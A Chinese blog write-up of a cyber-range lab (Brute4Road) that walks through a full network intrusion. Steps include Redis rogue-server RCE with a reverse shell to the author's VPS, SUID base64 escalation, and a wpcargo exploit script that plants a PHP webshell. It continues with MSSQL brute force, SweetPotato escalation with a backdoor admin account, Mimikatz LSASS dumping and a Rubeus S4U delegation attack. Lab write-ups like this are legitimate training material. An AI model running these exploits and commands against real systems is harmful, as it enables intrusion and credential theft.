当前位置: 首页 > news >正文

[春秋云镜] Brute4Road 仿真场景

文章目录

    • 靶标介绍:
    • 知识点
        • 约束性委派攻击
    • 外网
      • redis主从复制
      • base64提权
    • 内网
      • 搭建代理
      • wpcargo插件漏洞
      • mssql弱口令
      • SweetPotato提权
      • 远程桌面连接
      • mimikatz抓取hash
      • 约束性委派攻击
    • 参考文章

靶标介绍:

Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

考点:

  • redis主从复制rce
  • base64命令提权
  • sweetpotato提权
  • 约束性委派

知识点

约束性委派攻击

委派:指将域内用户的权限委派给服务账户,使得服务账户能以用户权限访问域内的其他服务。

服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域内时所用的账户

S4U:Services for User,是一种Kerberos扩展,允许服务在没有用户凭据的情况下为用户请求票据。(默认支持)

进行约束委派攻击的前提

  1. 要拿到服务账户的NTLM哈希

  2. 服务账户配置了到域控制器上的特定服务(如CIFS) 进行约束委派

约束委派使得该服务账户能够代表其他账户(如Administrator) 请求访问该服务的票据

  1. 域环境中启用了S4U扩展

攻击流程

工具地址: GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.

  1. 申请TGT: 使用Rubeus工具为MSSQLSERVER$账户申请TGT
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:1d35efe0f482e03887accf3f2ec11f3b /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap

/user:MSSQLSERVER$:指定用户为MSSQLSERVER$

/rc4:78aa7721aeb225c7495de5a172e0e238:使用NTLM哈希(RC4密钥)进行身份验证

/domain:xiaorang.lab:指定域

/dc:DC.xiaorang.lab:指定域控制器。

/nowrap:输出票据时不换行, 便于后续的利用

  1. 使用S4U申请服务票据:利用S4U扩展,伪装成Administrator用户,申请访问域控(DC.xiaorang.lab)的CIFS服务的票据
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE0ixdpivzGZEwaeteoc1vI5Am8phJI3XGAILiddSV6o7d4FshbXGxyjNkrlmBIf2DPyh/2Fy4oQQlPZLuIIAbEFa4soPA8MDKVufpCvB7T1odaTiDqql9h3g3qD8/KvuTcR+eE/EfgXhbXsH9kaE+f1QpL7kXaX38MX7Iu9Bnz4x6/YmL/YrHZDDrKOoLszWqu8dFpaFHRnZbujX71EoPnM9cJB12s6A1/CwWHM8y9TkCoRP4jKyixDOzjlefdXffXAWbYNfYz+ABYHFtuZb6DQogcIVpFA//D5moDzc1/sd5FSQQkbUvN2OAjRIdtCOmsD3Txf5A4RwoDRBHVs7jULIgDADC3zZBZ61X2ziee3KJK0RdG1ZFlhCC/vP8VwpBEe33pfepBbNsWt2mYbVyt1fk0IDMJxx7bdSfVmNi+HpSnKzfxyEzW6RZBRLbN9ULO+I5m3P5RQ9tVU6ovTrF7h0rzHkFaoNI3O3k7NDyrgXGI90VplH6qpKt50PAOb8o1iUacZxtiJ9ct85+r3pIj2mBiijuoZx1tAuZGcpbCvC6r4jXnFnSCTCLkVuDVSWeFF1ZV5Iz8VBHKx1DMBv8pwNjAWgHAxCmon7+TFT+Ocm4c64C9a8rOz/AWEjS1N5T7mQe6dXbS5EukKJuTfu+8vcapIumw/BzdBIfdYMGBOFUeaDVhpnxDU8xMcN6fzetxk0QF9avaUxZy4g2dT7dIyTGkjYAxe1uGHz6p++Q/n06dFat368FSisOhOUHsnngsVL6o/mLD4SYYeNwmLvh9FqHosZyAFCHJJmwbuUBu/J08JciWJY2E9UZs2Qu/fw5fAWlLE4Sn+3eZK1oe6KV9diWis7mWZU+mvTUGmPgc+7xh+B595z1wDHNDnvaRxpyAMHZUPpIvBOAcVjC6w7+DchzBNUrWOy75BjWTYp+Lj5xObWCODXNTK4k6V/4utxKy/jwn/UJ9c19rAQ7EaOcNi8ET+hI+p4zliuerGJBOLvJ37VichZIhUZkrmKU8QxGVD77Oo9p1XYK055DVVyeIcQydHxfpzXl5v7mqX/D7eg5wXsckZXIMGkeCJdq6+KhG7FwcJjiibF2Fk8rdN0uQxGGC3zyV+Y9BhExFk5JtTo0q2CXS07trGWJZnFnDxW/vJ1AvvyK6bmNxgayWW4a8M3C859EOm2wjoiuAvwxK0196t17WiaTCsDEBROjD/J3+fmDvo9xm8MQY7akZkD6nxlqU0IHg9Yj7++QhPXWCcDOxkEq4Ecyq8IlI1ZE2i7OS7oMxIYVsjREECZisCkcDf9SXsHmz32CoZJu6QRBtRoqcf7mxcxeKN8hexQlg8bs7jDw8GJPbJmgkh1YG6nsIqq7FZCzTsRqm5u3lFDr8qkRfk4XTs6zb80/yU5+s7KpT9POV6ypuKYQz+3jr3qrH3dNnuGK3Lky7jsXbCxqwkq2gt706tbIYgE/SIZQ6jgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBC6z5mJu20XTLwP0CfurmQMoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MDUwODE0NDEwOFqmERgPMjAyNTA1MDkwMDQxMDhapxEYDzIwMjUwNTE1MTQ0MTA4WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==

/impersonateuser:Administrator:伪装成Administrator用户(域管理员,具有高权限)

/msdsspn:CIFS/DC.xiaorang.lab:目标服务为域控的CIFS服务。

CIFS是文件共享协议,控制它就能访问域控的文件系统, 访问敏感文件, 植入后门等

/dc:DC.xiaorang.lab:指定域控制器

/ptt:将获取的票据注入到当前会话中 ( Pass-the-Ticket )

/ticket:...:使用之前获取的TGT

外网

先用fscan扫描一下, 可以发现有redis的未授权访问
在这里插入图片描述

redis主从复制

参考文章: https://www.freebuf.com/articles/web/249238.html

利用工具: https://github.com/n0b0dyCN/redis-rogue-server

原理:

Redis如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。

条件:

Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)

redis弱密码或者无密码

root启动redis

fscan扫描出来的信息可以看到redis的版本是5.0.x, 而且可以未授权访问
打redis的主从复制, 在自己的 vps上面运行

python3 redis-rogue-server.py --rhost 39.98.123.25 --lhost 8.154.17.163

rhost --> 题目ip
lhost –> vps

这里要确保自己vps防火墙要打开21000端口, 之前以为安全组放开了所有端口就行, 但是脚本一直没有运行成功, 后面把防火墙端口打开才成功

后续输入r表示进行反弹shell, 然后输入自己vps的ip, 端口

在这里插入图片描述

在这里插入图片描述

base64提权

为方便查看, 进入python的交互式

python -c 'import pty; pty.spawn("/bin/bash")'

没有权限读取flag, 需要提权

在这里插入图片描述

尝试suid提权

find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述

可以找到一个base64提权 (https://gtfobins.github.io/gtfobins/base64/)

用法: base64 "文件" | base64 --decode

base64 "flag01" | base64 --decode

在这里插入图片描述

内网

vps开启一个http服务, 用于在题目靶机上下载一些需要的工具文件

python3 -m http.server 8080 --directory /path/to/files

下载fscan, chisel等

wget http://ip:8080/fscan
wget http://ip:8080/chisel

ifconfig无法查看ip, 使用netstat -ano查看网络服务可以看到靶机内网ip, 用于扫描

在这里插入图片描述

./fscan -h 172.22.2.7/24 -o 1.txt

在这里插入图片描述

在这里插入图片描述

根据扫描结果: 存活5个主机

172.22.2.3		 域控主机
172.22.2.7		 存在CentOs服务
172.22.2.18	 	 存在WordPress站点, 存在smb弱口令
172.22.2.16		 域内主机,MSSQLSERVER服务, 存在smb弱口令
172.22.2.34		 

尝试了一下smb弱口令登录
要么权限不足无法查看 (c$) , 要么可以查看但是却没有用的信息

在这里插入图片描述

权限也不够, 也没法执行命令

proxychains4 crackmapexec smb 172.22.2.16 -u admin -p 123456 -d xiaorang.lab -x "whoami"

在这里插入图片描述

还是看看wordpress的站点, 找找有没有漏洞

先搭建代理

搭建代理

使用chisel搭建代理
服务端(vps)

./chisel server -p 8888 --reverse

客户端

./chisel client [vps]:8888 R:0.0.0.0:9383:socks

在这里插入图片描述

火狐浏览器设置里面连socks5的代理可以成功看到内网的站点

在这里插入图片描述

在这里插入图片描述

wpcargo插件漏洞

扫描一下wordpress的站点, 查看是否有漏洞

proxychains4 wpscan --url http://172.22.2.18 

可以发现一个插件 wpcargo可能存在漏洞

在这里插入图片描述

网上有 poc (https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a/ )

直接利用脚本打

import sys
import binascii
import requests# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'def encode_character_code(c: int):return '{:08b}'.format(c).replace('0', 'x')text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]destination_url = 'http://172.22.2.18/'
cmd = 'ls'# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.requests.get(f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)# We have uploaded a webshell - now let's use it to execute a command.print(requests.post(f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))

在这里插入图片描述

访问相应路由可以发现shell已经写入进去了, 用蚁剑连接

在这里插入图片描述

蚁剑连之前也要先进行socks代理

在这里插入图片描述

在这里插入图片描述

没有找到flag, 但是有一个配置文件, 里面有数据库的用户名和密码

在这里插入图片描述

直接用蚁剑连接数据库,

在这里插入图片描述

在这里插入图片描述

数据库里面可以直接找到flag

在这里插入图片描述

并且数据库里面还可以找到一些密码, 估计就是提醒你进行弱口令爆破

在这里插入图片描述

mssql弱口令

前面fscan搜集的一些信息可知, 172.22.2.16主机是存在mssql服务的, 并且开放了1433端口

那么把数据导出来, 爆破一下密码

fscan -h 172.22.2.16 -m mssql -pwdf 1.txt

sa / ElGNkOiC , sa是默认用户

然后MDUT连上去

在这里插入图片描述

此时已经是通过工具proxifier, 将自己的主机进行了socks5的代理, 才可以用MDUT连接上172.22.2.16的内网主机

在这里插入图片描述

权限不足无法查看flag, 需要提权, 这里之前也做过类似的, 也很容易想到上传SweetPotato进行提权

先激活组件, 然后就可以上传文件了

在这里插入图片描述

SweetPotato提权

命令格式: 
SweetPotato.exe -a "cmd"

可以发现已经是system的权限
在这里插入图片描述

windows查看网络连接 netstat -ano
可以发现3389端口是打开的, 可以进行远程连接

在这里插入图片描述

远程桌面连接

既然打开了3389端口, 并且现在提权到了管理员权限, 那么就可以尝试添加新用户, 并将其加入到管理组
用新添加的用户进行远程桌面连接

C:/Users/Public/sweetpotato.exe -a "net user xpw 123Xpw! /add"
C:/Users/Public/sweetpotato.exe -a "net localgroup administrators xpw /add"

密码不能太弱了, 要不然可能会无法添加成功

添加成功新用户后, 直接windows的远程桌面连接就行(windows已经是进行了全局代理的)

新添加的用户也是被添加进管理组的, 所以也是有权限可以读取flag的

在这里插入图片描述

mimikatz抓取hash

因为是在windows上面进行的远程连接, 好像默认是可以直接共享C盘下的文件, 所以我直接把mimikatz.exe放到我的C盘下, 远程桌面也就可以直接接收到这个文件, 可以执行用来抓取用户hash

常用组合: 
privilege::debug
sekurlsa::logonpasswords

privilege::debug

尝试将当前 Mimikatz 进程提升为“调试权限”(SeDebugPrivilege),这样它就可以访问其他高权限进程的内存,尤其是 LSASS(Local Security Authority Subsystem Service)进程。

  • 如果没有这个权限,就无法读取包含密码和票据信息的 LSASS 内存。
  • 正常用户没有该权限,只有 管理员(或 SYSTEM)权限的进程才能成功执行。

sekurlsa::logonpasswords

从内存中(通常是 lsass.exe)提取当前或已登录用户的:明文密码(如果可用),哈希(NTLM),
Kerberos 票据(TGT、TGS), 凭据缓存(Cached Credentials), 远程桌面/网络登录凭据等

在这里插入图片描述

拿到服务账户 MSSQLSERVER$的NTLM

1d35efe0f482e03887accf3f2ec11f3b

约束性委派攻击

可以使用bloodhound工具对域内信息进行搜集

MSSQLSERVER 配置了到 DC LDAP 和 CIFS 服务的约束性委派,可以用Rubeus申请自身的服务票据,然后再通过 S4U 协议伪造高权限 ST 拿下域控

.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:1d35efe0f482e03887accf3f2ec11f3b /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt

在这里插入图片描述

Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE0ixdpivzGZEwaeteoc1vI5Am8phJI3XGAILiddSV6o7d4FshbXGxyjNkrlmBIf2DPyh/2Fy4oQQlPZLuIIAbEFa4soPA8MDKVufpCvB7T1odaTiDqql9h3g3qD8/KvuTcR+eE/EfgXhbXsH9kaE+f1QpL7kXaX38MX7Iu9Bnz4x6/YmL/YrHZDDrKOoLszWqu8dFpaFHRnZbujX71EoPnM9cJB12s6A1/CwWHM8y9TkCoRP4jKyixDOzjlefdXffXAWbYNfYz+ABYHFtuZb6DQogcIVpFA//D5moDzc1/sd5FSQQkbUvN2OAjRIdtCOmsD3Txf5A4RwoDRBHVs7jULIgDADC3zZBZ61X2ziee3KJK0RdG1ZFlhCC/vP8VwpBEe33pfepBbNsWt2mYbVyt1fk0IDMJxx7bdSfVmNi+HpSnKzfxyEzW6RZBRLbN9ULO+I5m3P5RQ9tVU6ovTrF7h0rzHkFaoNI3O3k7NDyrgXGI90VplH6qpKt50PAOb8o1iUacZxtiJ9ct85+r3pIj2mBiijuoZx1tAuZGcpbCvC6r4jXnFnSCTCLkVuDVSWeFF1ZV5Iz8VBHKx1DMBv8pwNjAWgHAxCmon7+TFT+Ocm4c64C9a8rOz/AWEjS1N5T7mQe6dXbS5EukKJuTfu+8vcapIumw/BzdBIfdYMGBOFUeaDVhpnxDU8xMcN6fzetxk0QF9avaUxZy4g2dT7dIyTGkjYAxe1uGHz6p++Q/n06dFat368FSisOhOUHsnngsVL6o/mLD4SYYeNwmLvh9FqHosZyAFCHJJmwbuUBu/J08JciWJY2E9UZs2Qu/fw5fAWlLE4Sn+3eZK1oe6KV9diWis7mWZU+mvTUGmPgc+7xh+B595z1wDHNDnvaRxpyAMHZUPpIvBOAcVjC6w7+DchzBNUrWOy75BjWTYp+Lj5xObWCODXNTK4k6V/4utxKy/jwn/UJ9c19rAQ7EaOcNi8ET+hI+p4zliuerGJBOLvJ37VichZIhUZkrmKU8QxGVD77Oo9p1XYK055DVVyeIcQydHxfpzXl5v7mqX/D7eg5wXsckZXIMGkeCJdq6+KhG7FwcJjiibF2Fk8rdN0uQxGGC3zyV+Y9BhExFk5JtTo0q2CXS07trGWJZnFnDxW/vJ1AvvyK6bmNxgayWW4a8M3C859EOm2wjoiuAvwxK0196t17WiaTCsDEBROjD/J3+fmDvo9xm8MQY7akZkD6nxlqU0IHg9Yj7++QhPXWCcDOxkEq4Ecyq8IlI1ZE2i7OS7oMxIYVsjREECZisCkcDf9SXsHmz32CoZJu6QRBtRoqcf7mxcxeKN8hexQlg8bs7jDw8GJPbJmgkh1YG6nsIqq7FZCzTsRqm5u3lFDr8qkRfk4XTs6zb80/yU5+s7KpT9POV6ypuKYQz+3jr3qrH3dNnuGK3Lky7jsXbCxqwkq2gt706tbIYgE/SIZQ6jgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBC6z5mJu20XTLwP0CfurmQMoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MDUwODE0NDEwOFqmERgPMjAyNTA1MDkwMDQxMDhapxEYDzIwMjUwNTE1MTQ0MTA4WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==

现在就拿到域控了, 直接执行命令拿flag

type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt

在这里插入图片描述

参考文章

https://fushuling.com/index.php/2023/09/03/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83%c2%b7brute4road/
https://www.cnblogs.com/fdxsec/p/17893308.html
https://blog.csdn.net/Jayjay___/article/details/141405315

相关文章:

  • 使用JMETER中的JSON提取器实现接口关联
  • ASP.NET中Tailspin Travel的UI层奥秘分析
  • 电机密集型工厂环境下的无线通信技术选型与优化策略
  • C++:书架
  • SPDK NVMe of RDMA 部署
  • 软考速通攻略之邪修提醒篇
  • 命名视图~
  • Node.js数据抓取技术实战示例
  • BERT模型讲解
  • AI汽车时代的全面赋能者:德赛西威全栈能力再升级
  • 【Python】超全常用 conda 命令整理
  • C++中static关键字详解:不同情况下的使用方式
  • 浏览器节能机制导致Websocket断连的坑
  • CentOS 7 系统下安装 OpenSSL 1.0.2k 依赖问题的处理
  • [sklearn] 特征工程
  • 支付宝沙盒模式商家转账经常出现 响应异常: 解包错误
  • 嵌入式裸机模块——软定时器
  • 数据结构-堆
  • AWS之数据分析类产品
  • Mac 3大好用的复制粘贴管理工具对比
  • 春秋航空:如果供应链持续改善、油价回落到合理水平,公司补充运力的需求将会增长
  • 雇来的“妈妈”:为入狱雇主无偿带娃4年,没做好准备说再见
  • 教育部、国家发改委联合启动实施教师教育能力提升工程
  • 罗氏制药全新生物制药生产基地投资项目在沪启动:预计投资20.4亿元,2031年投产
  • 两次蹚入同一条河,巴萨这一晚被命运抛弃
  • 巴称击落多架印度“阵风”战机,专家:小规模冲突巴空军战力不落下风